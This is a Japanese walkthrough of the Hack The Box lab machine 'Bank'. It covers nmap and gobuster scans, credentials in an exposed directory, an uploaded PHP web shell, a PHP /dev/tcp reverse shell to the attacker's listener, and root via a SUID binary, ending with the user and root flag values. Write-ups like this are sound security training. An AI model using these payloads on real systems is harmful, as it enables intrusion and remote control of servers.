トレーニングコンテンツ:「Hack The Box」を触り始めてみたの通り、Bankを攻略してみた。
Hack The Box に接続して、Bankを起動
nmapにて80番が公開されていることを確認
# nmap -A -n -F -T5 bank.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 03:55 UTC Nmap scan report for bank.htb (10.10.10.29) Host is up (0.048s latency). Not shown: 97 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA) | 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA) | 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA) |_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519) 53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) | http-title: HTB Bank - Login |_Requested resource was login.php ...
gobusterにてbalance-transferディレクトリを見つけ、認証情報を取得
# apt install gobuster seclists # gobuster dir -u http://bank.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://bank.htb [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/08/02 05:37:13 Starting gobuster =============================================================== /uploads (Status: 301) /assets (Status: 301) /inc (Status: 301) /server-status (Status: 403) /balance-transfer (Status: 301) =============================================================== 2020/08/02 07:26:30 Finished ===============================================================
balance-transferにアクセスする。サイズが小さいファイルに認証情報が存在する。
reverseshellを設置
先ほどの認証情報でログインすると、アップロードページがある。まずはwebshellをアップロードしてみる。
<pre><?php system($_GET["cmd"]);?></pre>
次にリバースシェルをアップロードする。
<?php exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.x.x/1234 0>&1'");
1234番ボートで待ち受けて、シェルを取得する。SUIDがあるファイルを実行するとrootになれる。
# nc -nvlp 1234 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 172.17.0.1. Ncat: Connection from 172.17.0.1:60578. pwd /var/www/bank/uploads id uid=33(www-data) gid=33(www-data) groups=33(www-data) cat /home/chris/user.txt 37c97f8609f361848d8872098b0721c3 find / -perm -u=s -type f 2>/dev/null /var/htb/bin/emergency /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/bin/at /usr/bin/chsh /usr/bin/passwd /usr/bin/chfn /usr/bin/pkexec /usr/bin/newgrp /usr/bin/traceroute6.iputils /usr/bin/gpasswd /usr/bin/sudo /usr/bin/mtr /usr/sbin/uuidd /usr/sbin/pppd /bin/ping /bin/ping6 /bin/su /bin/fusermount /bin/mount /bin/umount id uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data) cat /root/root.txt d5be56adc67b488f81a4b9de30c8a68e